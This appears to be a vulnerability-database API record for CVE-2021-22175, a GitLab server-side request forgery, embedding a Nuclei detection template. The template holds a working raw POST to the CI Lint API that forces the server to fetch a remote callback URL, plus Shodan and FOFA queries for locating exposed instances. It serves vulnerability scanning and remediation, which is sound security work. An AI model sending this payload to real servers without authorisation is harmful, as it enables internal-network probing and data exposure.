{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-22175/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-22175/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-22175/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-22175/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-22175/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-22175"},"sightings":{"href":"/api/v1/sightings/cve-2021-22175"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-22175.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2021-22175\n\ninfo:\n  name: GitLab CI Lint API - Server-Side Request Forgery\n  author: 0x_Akoko\n  severity: high\n  description: |\n    GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests.\n  impact: |\n    Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise.\n  remediation: |\n    Update to the latest version of GitLab where the vulnerability is fixed.\n  reference:\n    - https://gitlab.com/gitlab-org/gitlab/-/issues/294178\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2021-22175\n    epss-score: 0.53372\n    epss-percentile: 0.98938\n    cwe-id: CWE-918\n    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: gitlab\n    product: gitlab\n    shodan-query: http.title:\"GitLab\"\n    fofa-query: app=\"GitLab\"\n  tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /api/v4/ci/lint HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"include_merged_yaml\":true,\"content\":\"include:\\n  remote: 'http://{{interactsh-url}}/gitlab.yml'\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"Included file\", \"\\\"errors\\\":\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains(interactsh_protocol, \"http\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502204af11d6937f74b4b3bd7dd0bd77231212bc9805366ed43e33531e0e480c40468022100a3164f45f30e71e87a3924f5c319299d93665bde8be06ad661d70d60175328ae:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-22175"}